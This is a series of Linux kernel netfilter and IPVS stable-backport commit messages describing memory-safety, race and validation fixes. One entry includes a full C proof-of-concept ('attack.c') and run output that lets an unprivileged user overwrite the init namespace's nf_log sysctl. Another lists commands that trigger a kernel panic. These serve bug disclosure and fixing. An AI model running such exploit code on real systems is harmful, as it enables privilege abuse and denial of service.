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[ Upstream commit 3e38df136e453aa69eb4472108ebce2fb00b1ba6 ]
BUG: KASAN: slab-out-of-bounds in nf_tables_rule_destroy+0xf1/0x130 at addr ffff88006a4c35c8
Read of size 8 by task nft/1607
When we've destroyed last valid expr, nft_expr_next() returns an invalid expr.
We must not dereference it unless it passes != nft_expr_last() check.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <alexander.levin@verizon.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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[ Upstream commit c2e756ff9e699865d294cdc112acfc36419cf5cc ]
Using smp_processor_id() causes splats with PREEMPT_RCU:
[19379.552780] BUG: using smp_processor_id() in preemptible [00000000] code: ping/32389
[19379.552793] caller is debug_smp_processor_id+0x17/0x19
[...]
[19379.552823] Call Trace:
[19379.552832] [<ffffffff81274e9e>] dump_stack+0x67/0x90
[19379.552837] [<ffffffff8129a4d4>] check_preemption_disabled+0xe5/0xf5
[19379.552842] [<ffffffff8129a4fb>] debug_smp_processor_id+0x17/0x19
[19379.552849] [<ffffffffa07c42dd>] nft_queue_eval+0x35/0x20c [nft_queue]
No need to disable preemption since we only fetch the numeric value, so
let's use raw_smp_processor_id() instead.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <alexander.levin@verizon.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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[ Upstream commit f169fd695b192dd7b23aff8e69d25a1bc881bbfa ]
After adding the following nft rule, then ping 224.0.0.1:
# nft add rule netdev t c pkttype host counter
The warning complain message will be printed out again and again:
WARNING: CPU: 0 PID: 10182 at net/netfilter/nft_meta.c:163 \
nft_meta_get_eval+0x3fe/0x460 [nft_meta]
[...]
Call Trace:
<IRQ>
dump_stack+0x85/0xc2
__warn+0xcb/0xf0
warn_slowpath_null+0x1d/0x20
nft_meta_get_eval+0x3fe/0x460 [nft_meta]
nft_do_chain+0xff/0x5e0 [nf_tables]
So we should deal with PACKET_LOOPBACK in netdev family too. For ipv4,
convert it to PACKET_BROADCAST/MULTICAST according to the destination
address's type; For ipv6, convert it to PACKET_MULTICAST directly.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <alexander.levin@verizon.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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[ Upstream commit 4b86c459c7bee3acaf92f0e2b4c6ac803eaa1a58 ]
Commit 4dee62b1b9b4 ("netfilter: nf_ct_expect: nf_ct_expect_insert()
returns void") inadvertently changed the successful return value of
nf_ct_expect_related_report() from 0 to 1 due to
__nf_ct_expect_check() returning 1 on success. Prevent this
regression in the future by changing the return value of
__nf_ct_expect_check() to 0 on success.
Signed-off-by: Jarno Rajahalme <jarno@ovn.org>
Acked-by: Joe Stringer <joe@ovn.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <alexander.levin@verizon.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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[ Upstream commit ae5c682113f9f94cc5e76f92cf041ee624c173ee ]
The helper->expect_class_max must be set to the total number of
expect_policy minus 1, since we will use the statement "if (class >
helper->expect_class_max)" to validate the CTA_EXPECT_CLASS attr in
ctnetlink_alloc_expect.
So for compatibility, set the helper->expect_class_max to the
NFCTH_POLICY_SET_NUM attr's value minus 1.
Also: it's invalid when the NFCTH_POLICY_SET_NUM attr's value is zero.
1. this will result "expect_policy = kzalloc(0, GFP_KERNEL);";
2. we cannot set the helper->expect_class_max to a proper value.
So if nla_get_be32(tb[NFCTH_POLICY_SET_NUM]) is zero, report -EINVAL to
the userspace.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <alexander.levin@verizon.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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[ Upstream commit 3b7dabf029478bb80507a6c4500ca94132a2bc0b ]
Otherwise, another CPU may access the invalid pointer. For example:
CPU0 CPU1
- rcu_read_lock();
- pfunc = _hook_;
_hook_ = NULL; -
mod unload -
- pfunc(); // invalid, panic
- rcu_read_unlock();
So we must call synchronize_rcu() to wait the rcu reader to finish.
Also note, in nf_nat_snmp_basic_fini, synchronize_rcu() will be invoked
by later nf_conntrack_helper_unregister, but I'm inclined to add a
explicit synchronize_rcu after set the nf_nat_snmp_hook to NULL. Depend
on such obscure assumptions is not a good idea.
Last, in nfnetlink_cttimeout, we use kfree_rcu to free the time object,
so in cttimeout_exit, invoking rcu_barrier() is not necessary at all,
remove it too.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <alexander.levin@verizon.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit 9c3f3794926a997b1cab6c42480ff300efa2d162 upstream.
If one cpu is doing nf_ct_extend_unregister while another cpu is doing
__nf_ct_ext_add_length, then we may hit BUG_ON(t == NULL). Moreover,
there's no synchronize_rcu invocation after set nf_ct_ext_types[id] to
NULL, so it's possible that we may access invalid pointer.
But actually, most of the ct extends are built-in, so the problem listed
above will not happen. However, there are two exceptions: NF_CT_EXT_NAT
and NF_CT_EXT_SYNPROXY.
For _EXT_NAT, the panic will not happen, since adding the nat extend and
unregistering the nat extend are located in the same file(nf_nat_core.c),
this means that after the nat module is removed, we cannot add the nat
extend too.
For _EXT_SYNPROXY, synproxy extend may be added by init_conntrack, while
synproxy extend unregister will be done by synproxy_core_exit. So after
nf_synproxy_core.ko is removed, we may still try to add the synproxy
extend, then kernel panic may happen.
I know it's very hard to reproduce this issue, but I can play a tricky
game to make it happen very easily :)
Step 1. Enable SYNPROXY for tcp dport 1234 at FORWARD hook:
# iptables -I FORWARD -p tcp --dport 1234 -j SYNPROXY
Step 2. Queue the syn packet to the userspace at raw table OUTPUT hook.
Also note, in the userspace we only add a 20s' delay, then
reinject the syn packet to the kernel:
# iptables -t raw -I OUTPUT -p tcp --syn -j NFQUEUE --queue-num 1
Step 3. Using "nc 2.2.2.2 1234" to connect the server.
Step 4. Now remove the nf_synproxy_core.ko quickly:
# iptables -F FORWARD
# rmmod ipt_SYNPROXY
# rmmod nf_synproxy_core
Step 5. After 20s' delay, the syn packet is reinjected to the kernel.
Now you will see the panic like this:
kernel BUG at net/netfilter/nf_conntrack_extend.c:91!
Call Trace:
? __nf_ct_ext_add_length+0x53/0x3c0 [nf_conntrack]
init_conntrack+0x12b/0x600 [nf_conntrack]
nf_conntrack_in+0x4cc/0x580 [nf_conntrack]
ipv4_conntrack_local+0x48/0x50 [nf_conntrack_ipv4]
nf_reinject+0x104/0x270
nfqnl_recv_verdict+0x3e1/0x5f9 [nfnetlink_queue]
? nfqnl_recv_verdict+0x5/0x5f9 [nfnetlink_queue]
? nla_parse+0xa0/0x100
nfnetlink_rcv_msg+0x175/0x6a9 [nfnetlink]
[...]
One possible solution is to make NF_CT_EXT_SYNPROXY extend built-in, i.e.
introduce nf_conntrack_synproxy.c and only do ct extend register and
unregister in it, similar to nf_conntrack_timeout.c.
But having such a obscure restriction of nf_ct_extend_unregister is not a
good idea, so we should invoke synchronize_rcu after set nf_ct_ext_types
to NULL, and check the NULL pointer when do __nf_ct_ext_add_length. Then
it will be easier if we add new ct extend in the future.
Last, we use kfree_rcu to free nf_ct_ext, so rcu_barrier() is unnecessary
anymore, remove it too.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Acked-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Cc: Stefan Bader <stefan.bader@canonical.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit 3c5ab3f395d66a9e4e937fcfdf6ebc63894f028b upstream.
We do not check if packet from real server is for NAT
connection before performing SNAT. This causes problems
for setups that use DR/TUN and allow local clients to
access the real server directly, for example:
- local client in director creates IPVS-DR/TUN connection
CIP->VIP and the request packets are routed to RIP.
Talks are finished but IPVS connection is not expired yet.
- second local client creates non-IPVS connection CIP->RIP
with same reply tuple RIP->CIP and when replies are received
on LOCAL_IN we wrongly assign them for the first client
connection because RIP->CIP matches the reply direction.
As result, IPVS SNATs replies for non-IPVS connections.
The problem is more visible to local UDP clients but in rare
cases it can happen also for TCP or remote clients when the
real server sends the reply traffic via the director.
So, better to be more precise for the reply traffic.
As replies are not expected for DR/TUN connections, better
to not touch them.
Reported-by: Nick Moriarty <nick.moriarty@york.ac.uk>
Tested-by: Nick Moriarty <nick.moriarty@york.ac.uk>
Signed-off-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit 87e94dbc210a720a34be5c1174faee5c84be963e upstream.
This patch fixes the creation of connection tracking entry from
netlink when synproxy is used. It was missing the addition of
the synproxy extension.
This was causing kernel crashes when a conntrack entry created by
conntrackd was used after the switch of traffic from active node
to the passive node.
Signed-off-by: Eric Leblond <eric@regit.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit 2638fd0f92d4397884fd991d8f4925cb3f081901 upstream.
Denys provided an awesome KASAN report pointing to an use
after free in xt_TCPMSS
I have provided three patches to fix this issue, either in xt_TCPMSS or
in xt_tcpudp.c. It seems xt_TCPMSS patch has the smallest possible
impact.
Signed-off-by: Eric Dumazet <edumazet@google.com>
Reported-by: Denys Fedoryshchenko <nuclearcat@nuclearcat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit c58d6c93680f28ac58984af61d0a7ebf4319c241 upstream.
If nlh->nlmsg_len is zero then an infinite loop is triggered because
'skb_pull(skb, msglen);' pulls zero bytes.
The calculation in nlmsg_len() underflows if 'nlh->nlmsg_len <
NLMSG_HDRLEN' which bypasses the length validation and will later
trigger an out-of-bound read.
If the length validation does fail then the malformed batch message is
copied back to userspace. However, we cannot do this because the
nlh->nlmsg_len can be invalid. This leads to an out-of-bounds read in
netlink_ack:
[ 41.455421] ==================================================================
[ 41.456431] BUG: KASAN: slab-out-of-bounds in memcpy+0x1d/0x40 at addr ffff880119e79340
[ 41.456431] Read of size 4294967280 by task a.out/987
[ 41.456431] =============================================================================
[ 41.456431] BUG kmalloc-512 (Not tainted): kasan: bad access detected
[ 41.456431] -----------------------------------------------------------------------------
...
[ 41.456431] Bytes b4 ffff880119e79310: 00 00 00 00 d5 03 00 00 b0 fb fe ff 00 00 00 00 ................
[ 41.456431] Object ffff880119e79320: 20 00 00 00 10 00 05 00 00 00 00 00 00 00 00 00 ...............
[ 41.456431] Object ffff880119e79330: 14 00 0a 00 01 03 fc 40 45 56 11 22 33 10 00 05 .......@EV."3...
[ 41.456431] Object ffff880119e79340: f0 ff ff ff 88 99 aa bb 00 14 00 0a 00 06 fe fb ................
^^ start of batch nlmsg with
nlmsg_len=4294967280
...
[ 41.456431] Memory state around the buggy address:
[ 41.456431] ffff880119e79400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 41.456431] ffff880119e79480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 41.456431] >ffff880119e79500: 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc fc
[ 41.456431] ^
[ 41.456431] ffff880119e79580: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 41.456431] ffff880119e79600: fc fc fc fc fc fc fc fc fc fc fb fb fb fb fb fb
[ 41.456431] ==================================================================
Fix this with better validation of nlh->nlmsg_len and by setting
NFNL_BATCH_FAILURE if any batch message fails length validation.
CAP_NET_ADMIN is required to trigger the bugs.
Fixes: 9ea2aa8b7dba ("netfilter: nfnetlink: validate nfnetlink header from batch")
Signed-off-by: Phil Turnbull <phil.turnbull@oracle.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Cc: Ben Hutchings <ben.hutchings@codethink.co.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit a8b1e36d0d1d6f51490e7adce35367ed6adb10e7 upstream.
With HZ=100 element timeout in dynamic sets (i.e. flow tables) is 10 times
higher than configured.
Add proper conversion to/from jiffies, when interacting with userspace.
I tested this on Linux 4.8.1, and it applies cleanly to current nf and
nf-next trees.
Fixes: 22fe54d5fefc ("netfilter: nf_tables: add support for dynamic set updates")
Signed-off-by: Anders K. Pedersen <akp@cohaesio.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit 3777ed688fba82d0bd43f9fc1ebbc6abe788576d upstream.
When using HEAD from
https://git.kernel.org/cgit/utils/kernel/ipvsadm/ipvsadm.git/,
the command:
ipvsadm --start-daemon backup --mcast-interface eth0.60 \
--mcast-group ff02::1:81
fails with the error message:
Argument list too long
whereas both:
ipvsadm --start-daemon master --mcast-interface eth0.60 \
--mcast-group ff02::1:81
and:
ipvsadm --start-daemon backup --mcast-interface eth0.60 \
--mcast-group 224.0.0.81
are successful.
The error message "Argument list too long" isn't helpful. The error occurs
because an IPv6 address is given in backup mode.
The error is in make_receive_sock() in net/netfilter/ipvs/ip_vs_sync.c,
since it fails to set the interface on the address or the socket before
calling inet6_bind() (via sock->ops->bind), where the test
'if (!sk->sk_bound_dev_if)' failed.
Setting sock->sk->sk_bound_dev_if on the socket before calling
inet6_bind() resolves the issue.
Fixes: d33288172e72 ("ipvs: add more mcast parameters for the sync daemon")
Signed-off-by: Quentin Armitage <quentin@armitage.org.uk>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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[ Upstream commit d157bd761585605b7882935ffb86286919f62ea1 ]
Ben Hawkes says:
integer overflow in xt_alloc_table_info, which on 32-bit systems can
lead to small structure allocation and a copy_from_user based heap
corruption.
Reported-by: Ben Hawkes <hawkes@google.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <alexander.levin@verizon.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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[ Upstream commit d157bd761585605b7882935ffb86286919f62ea1 ]
Ben Hawkes says:
integer overflow in xt_alloc_table_info, which on 32-bit systems can
lead to small structure allocation and a copy_from_user based heap
corruption.
Reported-by: Ben Hawkes <hawkes@google.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Sasha Levin <alexander.levin@verizon.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit d7591f0c41ce3e67600a982bab6989ef0f07b3ce upstream.
The three variants use same copy&pasted code, condense this into a
helper and use that.
Make sure info.name is 0-terminated.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit 09d9686047dbbe1cf4faa558d3ecc4aae2046054 upstream.
This looks like refactoring, but its also a bug fix.
Problem is that the compat path (32bit iptables, 64bit kernel) lacks a few
sanity tests that are done in the normal path.
For example, we do not check for underflows and the base chain policies.
While its possible to also add such checks to the compat path, its more
copy&pastry, for instance we cannot reuse check_underflow() helper as
e->target_offset differs in the compat case.
Other problem is that it makes auditing for validation errors harder; two
places need to be checked and kept in sync.
At a high level 32 bit compat works like this:
1- initial pass over blob:
validate match/entry offsets, bounds checking
lookup all matches and targets
do bookkeeping wrt. size delta of 32/64bit structures
assign match/target.u.kernel pointer (points at kernel
implementation, needed to access ->compatsize etc.)
2- allocate memory according to the total bookkeeping size to
contain the translated ruleset
3- second pass over original blob:
for each entry, copy the 32bit representation to the newly allocated
memory. This also does any special match translations (e.g.
adjust 32bit to 64bit longs, etc).
4- check if ruleset is free of loops (chase all jumps)
5-first pass over translated blob:
call the checkentry function of all matches and targets.
The alternative implemented by this patch is to drop steps 3&4 from the
compat process, the translation is changed into an intermediate step
rather than a full 1:1 translate_table replacement.
In the 2nd pass (step #3), change the 64bit ruleset back to a kernel
representation, i.e. put() the kernel pointer and restore ->u.user.name .
This gets us a 64bit ruleset that is in the format generated by a 64bit
iptables userspace -- we can then use translate_table() to get the
'native' sanity checks.
This has two drawbacks:
1. we re-validate all the match and target entry structure sizes even
though compat translation is supposed to never generate bogus offsets.
2. we put and then re-lookup each match and target.
THe upside is that we get all sanity tests and ruleset validations
provided by the normal path and can remove some duplicated compat code.
iptables-restore time of autogenerated ruleset with 300k chains of form
-A CHAIN0001 -m limit --limit 1/s -j CHAIN0002
-A CHAIN0002 -m limit --limit 1/s -j CHAIN0003
shows no noticeable differences in restore times:
old: 0m30.796s
new: 0m31.521s
64bit: 0m25.674s
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit 0188346f21e6546498c2a0f84888797ad4063fc5 upstream.
Always returned 0.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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commit 7b7eba0f3515fca3296b8881d583f7c1042f5226 upstream.
Quoting John Stultz:
In updating a 32bit arm device from 4.6 to Linus' current HEAD, I
noticed I was having some trouble with networking, and realized that
/proc/net/ip_tables_names was suddenly empty.
Digging through the registration process, it seems we're catching on the:
if (strcmp(t->u.user.name, XT_STANDARD_TARGET) == 0 &&
target_offset + sizeof(struct xt_standard_target) != next_offset)
return -EINVAL;
Where next_offset seems to be 4 bytes larger then the
offset + standard_target struct size.
next_offset needs to be aligned via XT_ALIGN (so we can access all members
of ip(6)t_entry struct).
This problem didn't show up on i686 as it only needs 4-byte alignment for
u64, but iptables userspace on other 32bit arches does insert extra padding.
Reported-by: John Stultz <john.stultz@linaro.org>
Tested-by: John Stultz <john.stultz@linaro.org>
Fixes: 7ed2abddd20cf ("netfilter: x_tables: check standard target size too")
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
|
commit 13631bfc604161a9d69cd68991dff8603edd66f9 upstream.
Validate that all matches (if any) add up to the beginning of
the target and that each match covers at least the base structure size.
The compat path should be able to safely re-use the function
as the structures only differ in alignment; added a
BUILD_BUG_ON just in case we have an arch that adds padding as well.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
|
commit ce683e5f9d045e5d67d1312a42b359cb2ab2a13c upstream.
We're currently asserting that targetoff + targetsize <= nextoff.
Extend it to also check that targetoff is >= sizeof(xt_entry).
Since this is generic code, add an argument pointing to the start of the
match/target, we can then derive the base structure size from the delta.
We also need the e->elems pointer in a followup change to validate matches.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
|
commit 7ed2abddd20cf8f6bd27f65bd218f26fa5bf7f44 upstream.
We have targets and standard targets -- the latter carries a verdict.
The ip/ip6tables validation functions will access t->verdict for the
standard targets to fetch the jump offset or verdict for chainloop
detection, but this happens before the targets get checked/validated.
Thus we also need to check for verdict presence here, else t->verdict
can point right after a blob.
Spotted with UBSAN while testing malformed blobs.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
|
commit fc1221b3a163d1386d1052184202d5dc50d302d1 upstream.
32bit rulesets have different layout and alignment requirements, so once
more integrity checks get added to xt_check_entry_offsets it will reject
well-formed 32bit rulesets.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
|
commit a08e4e190b866579896c09af59b3bdca821da2cd upstream.
The target size includes the size of the xt_entry_target struct.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
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commit 7d35812c3214afa5b37a675113555259cfd67b98 upstream.
Currently arp/ip and ip6tables each implement a short helper to check that
the target offset is large enough to hold one xt_entry_target struct and
that t->u.target_size fits within the current rule.
Unfortunately these checks are not sufficient.
To avoid adding new tests to all of ip/ip6/arptables move the current
checks into a helper, then extend this helper in followup patches.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
|
commit 31b0b385f69d8d5491a4bca288e25e63f1d945d0 upstream.
The slab name ends up being visible in the directory structure under
/sys, and even if you don't have access rights to the file you can see
the filenames.
Just use a 64-bit counter instead of the pointer to the 'net' structure
to generate a unique name.
This code will go away in 4.7 when the conntrack code moves to a single
kmemcache, but this is the backportable simple solution to avoiding
leaking kernel pointers to user space.
Fixes: 5b3501faa874 ("netfilter: nf_conntrack: per netns nf_conntrack_cachep")
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Acked-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
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commit f719e3754ee2f7275437e61a6afd520181fdd43b upstream.
Jiri Bohac is reporting for a problem where the attempt
to reschedule existing connection to another real server
needs proper redirect for the conntrack used by the IPVS
connection. For example, when IPVS connection is created
to NAT-ed real server we alter the reply direction of
conntrack. If we later decide to select different real
server we can not alter again the conntrack. And if we
expire the old connection, the new connection is left
without conntrack.
So, the only way to redirect both the IPVS connection and
the Netfilter's conntrack is to drop the SYN packet that
hits existing connection, to wait for the next jiffie
to expire the old connection and its conntrack and to rely
on client's retransmission to create new connection as
usually.
Jiri Bohac provided a fix that drops all SYNs on rescheduling,
I extended his patch to do such drops only for connections
that use conntrack. Here is the original report from Jiri Bohac:
Since commit dc7b3eb900aa ("ipvs: Fix reuse connection if real server
is dead"), new connections to dead servers are redistributed
immediately to new servers. The old connection is expired using
ip_vs_conn_expire_now() which sets the connection timer to expire
immediately.
However, before the timer callback, ip_vs_conn_expire(), is run
to clean the connection's conntrack entry, the new redistributed
connection may already be established and its conntrack removed
instead.
Fix this by dropping the first packet of the new connection
instead, like we do when the destination server is not available.
The timer will have deleted the old conntrack entry long before
the first packet of the new connection is retransmitted.
Fixes: dc7b3eb900aa ("ipvs: Fix reuse connection if real server is dead")
Signed-off-by: Jiri Bohac <jbohac@suse.cz>
Signed-off-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
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commit 7617a24f83b5d67f4dab1844956be1cebc44aec8 upstream.
The IPVS SIP persistence engine is not able to parse the SIP header
"Call-ID" when such header is inserted in the first positions of
the SIP message.
When IPVS is configured with "--pe sip" option, like for example:
ipvsadm -A -u 1.2.3.4:5060 -s rr --pe sip -p 120 -o
some particular messages (see below for details) do not create entries
in the connection template table, which can be listed with:
ipvsadm -Lcn --persistent-conn
Problematic SIP messages are SIP responses having "Call-ID" header
positioned just after message first line:
SIP/2.0 200 OK
[Call-ID header here]
[rest of the headers]
When "Call-ID" header is positioned down (after a few other headers)
it is correctly recognized.
This is due to the data offset used in get_callid function call inside
ip_vs_pe_sip.c file: since dptr already points to the start of the
SIP message, the value of dataoff should be initially 0.
Otherwise the header is searched starting from some bytes after the
first character of the SIP message.
Fixes: 758ff0338722 ("IPVS: sip persistence engine")
Signed-off-by: Marco Angaroni <marcoangaroni@gmail.com>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
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|
commit 3f20efba41916ee17ce82f0fdd02581ada2872b2 upstream.
ip_vs_fill_iph_skb_off() may not find an IP header, and gcc has
determined that ip_vs_sip_fill_param() then incorrectly accesses
the protocol fields:
net/netfilter/ipvs/ip_vs_pe_sip.c: In function 'ip_vs_sip_fill_param':
net/netfilter/ipvs/ip_vs_pe_sip.c:76:5: error: 'iph.protocol' may be used uninitialized in this function [-Werror=maybe-uninitialized]
if (iph.protocol != IPPROTO_UDP)
^
net/netfilter/ipvs/ip_vs_pe_sip.c:81:10: error: 'iph.len' may be used uninitialized in this function [-Werror=maybe-uninitialized]
dataoff = iph.len + sizeof(struct udphdr);
^
This adds a check for the ip_vs_fill_iph_skb_off() return code
before looking at the ip header data returned from it.
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Fixes: b0e010c527de ("ipvs: replace ip_vs_fill_ip4hdr with ip_vs_fill_iph_skb_off")
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
|
one nft userspace test case fails with
'ct l3proto original ipv4' mismatches 'ct l3proto ipv4'
... because NFTA_CT_DIRECTION attr is missing.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
|
|
Otherwise we may end up with incorrect network and transport header for
other protocols.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
|
|
When we use 'nft -f' to submit rules, it will build multiple rules into
one netlink skb to send to kernel, kernel will process them one by one.
meanwhile, it add the trans into commit_list to record every commit.
if one of them's return value is -EAGAIN, status |= NFNL_BATCH_REPLAY
will be marked. after all the process is done. it will roll back all the
commits.
now kernel use list_add_tail to add trans to commit, and use
list_for_each_entry_safe to roll back. which means the order of adding
and rollback is the same. that will cause some cases cannot work well,
even trigger call trace, like:
1. add a set into table foo [return -EAGAIN]:
commit_list = 'add set trans'
2. del foo:
commit_list = 'add set trans' -> 'del set trans' -> 'del tab trans'
then nf_tables_abort will be called to roll back:
firstly process 'add set trans':
case NFT_MSG_NEWSET:
trans->ctx.table->use--;
list_del_rcu(&nft_trans_set(trans)->list);
it will del the set from the table foo, but it has removed when del
table foo [step 2], then the kernel will panic.
the right order of rollback should be:
'del tab trans' -> 'del set trans' -> 'add set trans'.
which is opposite with commit_list order.
so fix it by rolling back commits with reverse order in nf_tables_abort.
Signed-off-by: Xin Long <lucien.xin@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
|
|
